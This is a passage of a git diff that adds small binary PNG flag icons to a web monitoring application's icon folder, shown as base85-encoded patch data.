z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzkyX%*8^<^1_sUokH}&M2EM}}%y>M1MG6B0153K2uOkD)#(wTUiL49^3?TtNA+G=b z|4*BFhQZjF!8nZ}ZKiP=1B3BQV`GN2v@~N7#lT>Eh9T|$%rs-;wEr__rWwy<FitZ* z^WQjaCWG<JGiPQRpE+a9kaos6ZD!icnKO++^p3d~E;BGNFqQ=Q1v5B2yOGAgz>w<c z;uunKtM%MTz6J#zmVgBYT_J_>|Nq;seN<#vn74lNvd~xB-FH8UpZRHJdfnmsVT-ej zb~7!v#j-ohR}J5|Mq1$Eg4Ab|R6KYXKiu1KMeC-L(Y}Iji%tZT#hVE!egCu2HSBL1 Z`(|@ymlJ9Ry$lQt44$rjF6*2UngF@Hg#rKo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bj.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bj.png new file mode 100644 index 0000000000000000000000000000000000000000..6473bf1659a222984d34cdeca42bcb0e5ad0f132 GIT binary patch literal 182 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qZ$#+dq; zGcYi47I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|^64@Ck8cNM>NjX1K?| z@ScHzp_t)61H=D&4FCT#On8vDmw|yn(bL5-q~cbxKw+UKI}@AG3ljx~iwhkbOwMX( ftjNj9;bCBmm2G)xp=`y#z`)??>gTe~DWM4fEB7tM literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bm.png new file mode 100644 index 0000000000000000000000000000000000000000..9ea8c4f2fbd29bae347ac570ca827effe0a39765 GIT binary patch literal 298 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0eNlmQQ9{GYaF?F0lxGVwoLSP<A-v z)wvzN0)rl{o+8a#e}B@<XL;4W_S1b7Y9`o~-1gXC&A`AA?&;zfQgLf)??$m^10H74 z=|?uDp7{S?_vu#WgvZ;Y{hGc#IivY!#;u#xGWBb_!h#-pDsz6$Qj~O9?))`(ZJ+nk xgtXV0drE#>GEx$Id-%B3-<xl~rBoc{%wuCJo_RCPjDdlH!PC{xWt~$(69A}nZE64j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bn.png new file mode 100644 index 0000000000000000000000000000000000000000..2585a38d60fd308143a14b194b241f9f9dee2482 GIT binary patch literal 286 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;i0iv|>=)MtrzUCfv9mmIQ@bh09na13 z;!??>&c-fb-qYFMzrH<+I=8=_fq^01)5S5Q;#O^6G*^QG4~wta`+NWQEek!;w8Q@N zfwU8af6{tF|2^or-lkf&cE+9d6<Oi(OeeUs)OQMIPE$0U*vJ+URphh3J!93fuX!&$ kZkckfZ|^YwbAnSZn`zzRf<tQ<7#J8lUHx3vIVCg!0LDaQTL1t6 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bo.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bo.png new file mode 100644 index 0000000000000000000000000000000000000000..27025ca220a3ab3fc9321ad85162322b49dbfc1a GIT binary patch literal 224 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h^yHIuD^d+Z=B+IzmfA>2FHp?I$d2n zKbcw656ry5z`&sD>EaktaVt5&osmbSFfxFFSy{qhqhp4~^wz18{L?!nSIwwmU<m!h WByzjBl%0Wrfx*+&&t;ucLK6Ud4nLp( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/br.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/br.png new file mode 100644 index 0000000000000000000000000000000000000000..f94d2e2ec3b0babe9d5d6bd24daeb5a5249e2b8f GIT binary patch literal 279 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h$}~%5c>p{>@@}--*HS`8W>kpx8@29 zufba9nC(&w3=A=zE{-7;w`_eI#TX1(oSyvu|KrfTncJtXIrHb-*Tas2x37sZ)Og*Q zyGD=0-}2%rmo<!yYbFX_`l74qmi(h@yUy;|XBT;A&v>Qx>1o9YZOe+u$MpMhr-{AW eTEF23^FC3=<Fc+FVi*`07(8A5T-G@yGywpbfnkXN literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bs.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bs.png new file mode 100644 index 0000000000000000000000000000000000000000..0eaa50dea97921a24390ab5c967c3567f624722a GIT binary patch literal 242 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h$~ZKI@6&u%*-rIB~@Zwl_A$U4jf?l z_m5@8T}vGX1_pCa7srr_TgeFtE^ItLXI8|B*iATnr0G;@QerEk!Sv2vSuTYb3wdqv oP{UP$XDa42KFVMV(Pv<|_KS&E&h1VL0|Nttr>mdKI;Vst01Tu?umAu6 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bt.png new file mode 100644 index 0000000000000000000000000000000000000000..e12aa33b3d1dd922ef102c15f57b1cc208c7cf06 GIT binary patch literal 294 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0dzAmVfJ5RtfN3)KLHXm*v_e(V3|M zb9xI8g@vqL8=IGxGFeA!PJl;pfZw%iSN>J8aCGNeFfcF#d%8G=RNSgP<;d4yz~K_O zWU0lL7k~3thZq(vtUr3%;j3t^fRbpn&<%!VOIE$yp*gYqT6e+rhwGAq&PeT^zut4o sy<{GzXq}}jOJ8>FNaHrXy!by~k2SNDqryTl1_lNOPgg&ebxsLQ0E;(eIRF3v literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bv.png new file mode 100644 index 0000000000000000000000000000000000000000..e75a6c88d8962196742beb423b44796f3719dd29 GIT binary patch literal 243 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0eNN&VLQ{hK93KQa1mKj{di7#e)YQ zn3x*-vL;3{Ffdqnx;TbZ+?smMkc&ZqhvlHD<>UYLYlIxP2+RrL4rf^~qx<bdCu7$* ro@W~`@Ri3UdtTk6@$u_1W9#RSm{{7jwasK;U|{fc^>bP0l+XkK@a0ZD literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bw.png new file mode 100644 index 0000000000000000000000000000000000000000..c224fcdff9a723aea336ae934c8b26ca0866a206 GIT binary patch literal 232 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gJ^(Hh^x`HCt}b3NIm<rZrc_qDVd<4kg`vI z(w?n9!N9;^;OXKRQgJIe!G)2>N27spzm7ClLV_zJkB$bz+|xZw7j&JHnst&6O-N00 ev0xTuV7T1Qc)m}t<pl!+1B0ilpUXO@geCwLXhb*w literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/by.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/by.png new file mode 100644 index 0000000000000000000000000000000000000000..c3f4713ad861aa4886d183373ba03b56785527e4 GIT binary patch literal 198 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>jvhb=iN4ZSW zV_;z5EbxddW?<ke0b#~$mCe@}7#LX69eo`c7&i8E|4C$JU|=u^@Ck7hm?JS|%9QU6 z4F8D(6`T{(85kHOJzX3_DsCkUgfTI*N$9q?P1ZTjz<B6JCPP^$$G`ulc5Y{2U|{fc L^>bP0l+XkK>+??Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/bz.png new file mode 100644 index 0000000000000000000000000000000000000000..378ec4a0142f48d8de57aa4308ea433e9054473f GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0e~9Nh7DJt=+3u@7gqX<(lJXPrZ8n zCQmCRuzCGr1_lNvPZ!6Kid(gPmO>2<JcpZP^#A`iJhMS%iQ`-@dBMrW0>>W&8f8w+ z{iwC6$7`?A<t>MbQr|C`v(#gE)%!!`+w=bvF>cw&m?jncfuDhafx*+&&t;ucLK6T= C@K)6T literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ca.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ca.png new file mode 100644 index 0000000000000000000000000000000000000000..38a5ae63999a983ddee114a8c947d3572c07bd09 GIT binary patch literal 258 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0eKkmPgI4e}DhHRapG(*6nw@b{><F z`E=?;BHPpq1_lOqPZ!6Kid(hk1Njapa4=s8^D6%@?VmnnXaC2GPaHiM7;entI`e7@ z-z4@%@u}aIp51V_c;e=r%as?G@$M*-b{Cnta{g+&82vjLPZ=4lY?G217#J8lUHx3v IIVCg!0Hz#R*Z=?k literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cc.png new file mode 100644 index 0000000000000000000000000000000000000000..0050bab98845bdf8651958e374e9ae5f588925ed GIT binary patch literal 260 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h$|c0Y+sGOJL?an#qap`;K{|FMOS0e z?{RWxgx+mpU|{g{ba4!+xYg>%$aTPh<I=2q|LgZ`yUWVnEX?FPc|nU~Vw2Z(ota$P za^GWn`A?T-wA|V5xST_5ZH1w6t6sK1{RO@CwxXXGCST@lF<`hKc4*os29T+)elF{r G5}E+JLRGB* literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cd.png new file mode 100644 index 0000000000000000000000000000000000000000..f50b0ae0e78f240eebb533280c83eac54e1dccb5 GIT binary patch literal 268 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h->8a^G4_XEPa*lc<I%KHwnJi?iAl! zQ+t2Gzke*--$fq!<db!4kJw#%Sq26MS5FtmkcwNieSusD3^<%ivsT^y``$Xtd*xD{ z`hIp#j|$#a(K~NKXSCH#xM62<gm>nNS8{jLHtz5aD|KV`bB@aY@V_@HeqJeK?h`T7 RQw$6Y44$rjF6*2UngCaVU>E=Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cf.png new file mode 100644 index 0000000000000000000000000000000000000000..fcca6fd4b14b465e6ad0d4fbbb373d054e0f5888 GIT binary patch literal 281 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#i0i+9ET69P{9|JI+vkyWi)Gd}g%vd^ zth-s#l2v~H`}z0g&1ut~913b-W7?^yxiF6@=j5%h1_lNOH%}MGkcwNaXEus8DDXI6 zl+bOu_3MAV_F1Ox_T47=nl^is@7wfkuv#8{rgFKHom9q4rSe|ac}`(>UFA-mSj2eq fmo`uRPsTODEMNTktd24;Ffe$!`njxgN@xNAvvFcw literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cg.png new file mode 100644 index 0000000000000000000000000000000000000000..14ada0a734fce46e58a3b221775cd21c2c23d181 GIT binary patch literal 251 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0iYLs#`9*{7dKgB_{OuFaOUABE{>A z|IOg>TlDig0|SGDr;B4q#Vy}62N@42@Emq%m)Q0Hm}&ygue<INd@6}YLyl{!$Qhmu zGS2?|G;!tgg<DtjO5Ez$F>A@P+2xx#U5x9qUouOdx-@ku0|Nttr>mdKI;Vst0KutN A9RL6T literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ch.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ch.png new file mode 100644 index 0000000000000000000000000000000000000000..681c7066e3eed40f0b80d9280a087969d5430e63 GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0eNdmVeGx|HA$M`MLZ%cI4l`KmQIM z{P*F*y@`zn7#J8_JzX3_DsJ`m8S))4;9ySP@bJI=y2x8Dr!GXVnS5ZwHP)1*%adMB zU$iPJ>-d}HI?Jvm^6u?vdctG<A@pO;y{XS*U7o!C$v$g2V^QESg)IyW3=E#GelF{r G5}E*aC0~R9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ci.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ci.png new file mode 100644 index 0000000000000000000000000000000000000000..53a7ccdff32c52960d4c885f3286d43d67ebaa0f GIT binary patch literal 200 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxPQs)W@8Gfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}1Al-|i0i+7EdQ>>{QLLE?~)JGK9;yR*X0Zh x3}T)xjv*Ddk`ox1+|(2j(ioZA7M^EinDd3P^Nzuv)eH;_44$rjF6*2UngILuIZ6Nk literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ck.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ck.png new file mode 100644 index 0000000000000000000000000000000000000000..18b5fe133b549d578e0bd7797966136883147888 GIT binary patch literal 285 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5LXV4rRr)MT})R62JFqxIl3meX?NGg zNqHM~q)+&=e8t!7ydRugk2&`UGcYiOdAc};RNSiV^A>6_;Bn&oneqDX`|Mk@`W_$J z&gGoYa8Q=Vrea66$H|Pn+dab1a>Q^4C~DnK{pWqEM{fB6w@U{uu4#-smZh`(!Fuh= jS8>Ma8gU#SpR(OM&)C9qf3pt*0|SGntDnm{r-UW|2GeCI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cl.png new file mode 100644 index 0000000000000000000000000000000000000000..98992c627d91970eeaa0eb749b6e28c76ce95f3e GIT binary patch literal 237 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZAl%vR|25Em+fT&D-+g$Tcpmrhni5 zSXs_<k&nI4z`$VS>EaktaVt52l~K%0BOxI*)&1cn<IRgtY+86~k(Qfj7bnY%$OR3J kje?R3K1pa!c4cG;^I{6qSh#5-0|Nttr>mdKI;Vst0L->W+yDRo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cm.png new file mode 100644 index 0000000000000000000000000000000000000000..4ab7c6032c34a13e534d53a252991d7617dc23eb GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZADkAzf8Ae|cE`PGtFekEN;1=ARnN zzb2NKYO87)7#P$&T^vIyZY3u$FomfpB&0Div1t|D4A}AJ%!-&Y5j|<?onnTM9x*ZO Y`@ncL^@hO*1_lNOPgg&ebxsLQ0C6fqeE<Le literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cn.png new file mode 100644 index 0000000000000000000000000000000000000000..f83bbe1538e78cf539a8693b25445eb731bbc31c GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZCvL!vC09{`s=}D`EL3$ntL@%fD+Z z|Gu-72iAKsFfcfIx;TbZ+?snfkney22UCE^obUTTy4^DQR{qC!F~<=eA6J2P5C1Kl zTIYAnyc;8){WG&yYijk8%WpU)%hd0Ga`wkT@q8VIUmy3sSjWJ?z~JfX=d#Wzp$Pz~ Cz*a>7 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/co.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/co.png new file mode 100644 index 0000000000000000000000000000000000000000..9c1d3cc5161397e6d89dfa7e36e101e12e000155 GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z7yYI!|(y{w1;O4R$p)KD}v^@4I&* z|NgNoQ$O{Nfq_BG)5S5Q;#P7(vO613$dgTr7}&%_92!pdFiA+voWRH|tTnx{QIJRC c00+YzR^|o0oV{xq7#J8lUHx3vIVCg!0EjX}C;$Ke literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/com.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/com.png new file mode 100644 index 0000000000000000000000000000000000000000..114dba3e2d24f0a8003639a050ca5649b345f3c9 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzlHKOi$fs8I14-?iy0XB4ude`@%$Aj3=9k`>5jgR3=A9lx&I`xGB7ZN1o(uw{{R0! zZRQyUV`B#6G={X9#%T-;#xsqL8Pd|yj6oCwgYg-LwEr{HjE&R&&zzZNJd?pV&G^iJ z<FuI!#xu{HnQ46Hj4?yn8RN8>X)|ZeGzQT-=3cnWz`(#*666=m;PC858Uq7Es;7%% zNX4zzb0_&46nIzy78rDe6vqGmZ@>0Ykzrxp`pL^eUuk#W{Um<or<Lh-hwq0i&NAA~ zwA>cU?l509eB&BvfrkrHpG{Kn;9>l5Z^sp_n@UFe3cf8m5l|LyCZzQJ&qCL*ziI57 Y&6!<Js2TJ!FfcH9y85}Sb4q9e09ZMNmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/coop.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/coop.png new file mode 100644 index 0000000000000000000000000000000000000000..114dba3e2d24f0a8003639a050ca5649b345f3c9 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzlHKOi$fs8I14-?iy0XB4ude`@%$Aj3=9k`>5jgR3=A9lx&I`xGB7ZN1o(uw{{R0! zZRQyUV`B#6G={X9#%T-;#xsqL8Pd|yj6oCwgYg-LwEr{HjE&R&&zzZNJd?pV&G^iJ z<FuI!#xu{HnQ46Hj4?yn8RN8>X)|ZeGzQT-=3cnWz`(#*666=m;PC858Uq7Es;7%% zNX4zzb0_&46nIzy78rDe6vqGmZ@>0Ykzrxp`pL^eUuk#W{Um<or<Lh-hwq0i&NAA~ zwA>cU?l509eB&BvfrkrHpG{Kn;9>l5Z^sp_n@UFe3cf8m5l|LyCZzQJ&qCL*ziI57 Y&6!<Js2TJ!FfcH9y85}Sb4q9e09ZMNmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cr.png new file mode 100644 index 0000000000000000000000000000000000000000..a3d8933fdbeff83e455fe86a241fd50b21370ce9 GIT binary patch literal 241 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYI)2}PAhUq5*D@AuCuJGZ~#V*6ZH zbhEc*{)<0L85kJMJY5_^DsI)Dv*u$^;9&}Q!~U*5dHJzf8TZ{J7$jOt4c<EhB{`<K prBu4S%&Sb=@v}Z7_StFa#|xNvbx#>AVPIfj@O1TaS?83{1OU~GP>BEl literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cs.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cs.png new file mode 100644 index 0000000000000000000000000000000000000000..8ca1fb6ad5f01bed91da4793ce8efbf644b95f91 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z4;Mg5SJsx&oUY-1+k7&+lXV-YlAN zCoAgAJB4773rsv+978H@g`RfgV^H8Ya)34D-~VLh&WYd5+Fz}iSu<I3f%?mKnd-~U lTf&1Mgcq*JSkTC%|9=AGqY}1aSq26M22WQ%mvv4FO#m=@P+tH5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cu.png new file mode 100644 index 0000000000000000000000000000000000000000..16b2b3aee40f51ff87b4806a4a0cca6f74f1216b GIT binary patch literal 249 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z4xm4BL?TU-<>U2Zp}?@a@yAdEfRO zsp{IpIOTjU0|SGdr;B4q#jVhOLna0V4kpek|NcMDTEVhBnvcbepTj-v=<eR0`OU9Z yoc+w!^XPix%oJm9o#3T2pStclW&WF+`@u{mrf*A*c{4CDFnGH9xvX<aXaWG`Yg6n1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cv.png new file mode 100644 index 0000000000000000000000000000000000000000..9de2cb61b21191642e4675e22197f98da0bfa6f3 GIT binary patch literal 247 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYF|MXao=9UXSo6_m{HPmBy*^ZVnS zhv{q<GnO4;U|_KEba4!+xK-O1$i<+*;r#r}uK&HxnnCtee2G3G9*k!n&33z-)7~*p v^8=H38sq8<!OF46R&1_(vi`@rFtg=T7%${bl4)jOU|{fc^>bP0l+XkKEsIbi literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cx.png new file mode 100644 index 0000000000000000000000000000000000000000..d4273dddd951900c63e1938d904f6f538dc14027 GIT binary patch literal 280 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T 